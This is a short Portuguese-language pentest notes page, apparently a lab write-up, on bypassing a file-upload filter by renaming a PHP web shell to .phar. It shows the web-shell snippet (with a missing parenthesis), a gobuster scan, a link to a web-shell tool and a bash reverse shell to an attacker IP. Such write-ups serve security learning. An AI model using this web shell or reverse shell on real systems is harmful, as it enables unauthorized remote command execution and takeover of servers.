> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# Upload de arquivo com extensão .phar

<figure><img src="/files/68de3764e27581b9e6c66eb7db5e0e52dc097c3d" alt=""><figcaption></figcaption></figure>

#### Exploração inicial:

Tentativa de explorar uma vulnerabilidade de upload de arquivo inserindo um arquivo PHP malicioso

```php
<?php
system($_GET['cmd'];
?>

```

O servidor rejeita automaticamente as solicitações de upload de arquivo com algumas extensões.

<figure><img src="/files/0a699d997a0c7d986bc5596729fe1caed61a19ae" alt=""><figcaption></figcaption></figure>

**Interceptar com Burp Suite:** Uso do Burp Suite para interceptar e analisar o tráfego para entender os erros de exploração

<figure><img src="/files/8c7cb7b322e9ea282e0b083d6d37cc0f3dca177f" alt=""><figcaption></figcaption></figure>

#### Modificação da extensão PHP:

Modificar a extensão do arquivo de `.php` para `.phar` na variável `filename`, e certifique-se de que o local seja aceito com sucesso

<figure><img src="/files/41bcac17a6c8b4fac24a468b9734d070620b39da" alt=""><figcaption></figcaption></figure>

**Enumeração de diretórios:** Uso do Gobuster para identificar os diretórios em um servidor web e localizar o armazenamento das imagens médicas enviadas.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/cf8db5128c5d6ab940f0448bc4aa596a0f8bef17" alt=""><figcaption></figcaption></figure>

#### arquivo não interpretado:

O conteúdo de um arquivo .phar não é interpretado.

<figure><img src="/files/26ab697e383a677473c5f8d2cd957a3955c86db5" alt=""><figcaption></figcaption></figure>

**Usando uma ferramenta do GitHub para criar uma shell:** Uso de uma ferramenta proveniente de um projeto do GitHub para contornar as restrições de upload de arquivos PHP e obter acesso à shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/4164892896ff7207f3f28e9f7b5f9042a7c04917" alt=""><figcaption></figcaption></figure>

**Iniciando uma reverse shell:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

Execução de comandos de uma reverse shell para estabelecer acesso interativo à máquina-alvo e obter controle total.

<figure><img src="/files/d6b9f71a6a62ad68fae1b7388687b7add43d67bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
